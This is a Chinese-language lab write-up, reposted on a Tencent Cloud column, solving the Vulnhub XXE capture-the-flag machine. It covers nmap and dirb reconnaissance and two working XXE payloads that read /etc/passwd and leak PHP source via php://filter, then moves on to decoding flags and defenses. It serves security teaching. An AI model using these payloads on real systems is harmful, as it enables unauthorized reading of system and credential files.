前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Vulnhub XXE靶机复现

Vulnhub XXE靶机复现

作者头像
字节脉搏实验室
发布2020-03-08 14:36:28
1.5K0
发布2020-03-08 14:36:28
举报
文章被收录于专栏:字节脉搏实验室

文章源自【字节脉搏社区】-字节脉搏实验室

作者-purplet

靶机下载链接:https://download.vulnhub.com/xxe/XXE.zip

1.检查网络模式配置是否正确

我们这里的VMnet8 是NAT模式啊(打开虚拟网络编辑器:虚拟机的左上角 编辑 –->网络虚拟编辑器)接下来切换到kali linux即可开启愉快的练习了。

2.信息收集

首先扫描C段存活主机,找到目标机器,使用命令nmap 192.168.194.0/24

红框区域即为目标主机IP,同时发现只开放了80端口,接着使用nmap -A 192.168.194.188探查详细信息

再使用dirb http://192.168.194.188对目录进行爆破,或者使用dirsearch等其他目录扫描工具,结果如下图所示。

综上:我们得知该网站存在80端口,robots.txt和xxe目录。

3.渗透测试:

(1)访问http://192.168.194.188/robots.txt

(2)访问http://192.168.194.188/xxe,是一个登陆页面

(3)输入内容抓包测试,可以看到用户名和密码是通过xml传递给后端的。

(4)尝试测试是否存在xxe漏洞

payload:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<root><name>&admin;</name><password>1</password></root>

得到内容回显,再次尝试使用php://filter/read=convert.base64-encode/resource=admin.php读取/xxe/目录下的admin.php的源码

payload:

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY admin SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&admin;</name><password>admin</password></root>

将得到的base64编码的admin.php的源码进行解密

可以得到登录的账号和密码,将密码的md5指拿去在线网站进行解密得到:admin@123

访问:http://192.168.194.188/xxe/admin.php,输入得到的账号密码

点击Flag,跳转到http://192.168.194.188/xxe/flagmeout.php,查看源代码得到一串base32字母,解密后再进行一次base64解密,得到

这里注意在源码中给出了输入正确用户名和密码的跳转链接,同时完全可以在不输入正确的用户名和密码的情况下直接访问。这种情况在实际渗透测试的过程中要注意,说不定会有惊喜,可以省不少麻烦。

接下来回到刚刚存在xxe漏洞的页面,继续抓包读取/etc/.flag.php文件

解码后得到一串疑似php的代码,但是变量名做了大幅度修改

最后将该代码拿到php代码美化网站进行格式化,如:http://www.jsons.cn/phpformat/,再放到phpstudy上保存为flag.php。访问从报错信息中得到flag。

防御措施:

xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都设置为false,从而避免基于XXE漏洞的攻击。

1.禁用xml外部实体

代码语言:javascript
复制
PHP:
libxml_disable_entity_loader(true);                          
 
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
 
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤xml外部实体的关键字:

  过滤<!DOCTYPE>, <!ENTITY>, SYSTEM 等

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-03-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.检查网络模式配置是否正确
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档